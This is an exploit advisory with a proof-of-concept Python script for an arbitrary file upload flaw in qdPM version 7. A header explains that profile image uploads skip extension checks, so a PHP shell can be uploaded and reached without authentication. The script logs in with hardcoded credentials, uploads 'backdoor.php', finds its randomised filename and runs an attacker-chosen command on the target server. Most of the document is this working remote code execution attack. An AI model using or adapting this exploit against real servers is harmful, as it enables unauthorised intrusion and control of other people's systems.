######################################################################################
# Exploit qdPM v.7 Arbitrary File upload
# Date: June 13th 2012
# Author: loneferret
# Version: 7
# Vendor Url: http://qdpm.net/
# Tested on: Winddows XP / XAMPP
######################################################################################
# Discovered by: loneferret
######################################################################################
# Software description:
# Free project management tool for small team
# qdPM is a free web-based project management tool suitable for a small team working on multiple projects.
# It is fully configurable. You can easy manage Projects, Tasks and People. Customers interact
# using a Ticket System that is integrated into Task management.
# Vulnerability:
# Application does not verify the file's extension when uploading an image for a user's profile.
# Making it possible to upload a small php shell, and accessing it remotely.
# Note(s):
# One needs a valid user account to upload the file. (Client will do)
# No need to be authenticated to access the file.
# Uploading file:
# Once logged in, upload file here:
# Page: /qdPM/index.php/home/myAccount
# Access file:
# File can be found here:
# /qdPM/uploads/users/<filename>
#
# Note the filename will contain a random number. One need to
# to look at the source code from the browser to find it.
# For example: <input type="file" name="users[photo]" value="171793-backdoor.php" id="users_photo" />
----- python script -----
#!/usr/bin/python
import re, mechanize
import urllib, sys
print "\n[*] qdPM v.7 Remote Code Execution"
print "[*] Vulnerability discovered by loneferret"
print "[*] Offensive Security - http://www.offensive-security.com\n"
if (len(sys.argv) != 3):
print "[*] Usage: poc.py <RHOST> <RCMD>"
exit(0)
rhost = sys.argv[1]
rcmd = sys.argv[2]
# Login into site
try:
print "[*] Loging in ."
br = mechanize.Browser()
br.open("http://%s/qdPM/index.php/home/login" % rhost)
assert br.viewing_html()
br.select_form(name="UsersForm")
br.select_form(nr=0)
br.form['login[email]'] = "loneferret@test.com"
br.form['login[password]'] = "123456"
print "[*] Hope this works"
br.submit()
except:
print "[*] Oups..."
exit(0)
# Upload malicious file
try:
print "[*] Uploading shell .."
br.open("http://%s/qdPM/home/myAccount" % rhost)
assert br.viewing_html()
br.select_form(name="UsersAccountForm")
br.select_form(nr=0)
br.form.add_file(open('backdoor.php'), "text/plain", "backdoor.php", name="users[photo]")
br.submit(nr=0)
except:
print "[-] Upload didn't work."
exit(0)
# Get file name once saved
try:
br.select_form(name="UsersAccountForm")
for form in br.forms():
filename = form.controls[9].value
print "[*] Filename is now: " + filename
url = "http://%s/qdPM/uploads/users " % rhost
url += "/%s?cmd=%s" % (filename,rcmd)
print "[*] Executing command:\n"
resp = urllib.urlopen(url)
print resp.read()
except:
print "[-] Oups..."
exit(0)
